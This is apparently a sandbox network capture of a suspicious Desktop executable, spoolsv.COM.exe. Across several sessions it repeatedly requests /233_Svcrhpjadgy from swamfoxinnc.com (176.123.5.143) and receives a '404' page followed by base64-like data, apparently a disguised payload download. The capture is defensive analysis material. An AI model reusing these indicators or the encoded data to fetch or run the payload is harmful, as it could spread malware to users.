nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49735	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:37:54 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:37:55 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:37:55 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:37:55 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:37:55 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:37:56 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:37:56 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49744	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:37:57 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:37:59 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:37:58 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:37:59 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:37:59 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:37:59 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:37:59 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49756	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:01 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:02 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:02 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:02 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:02 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:02 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:03 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49763	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:04 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:06 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:05 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:06 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:06 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:06 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:06 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49775	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
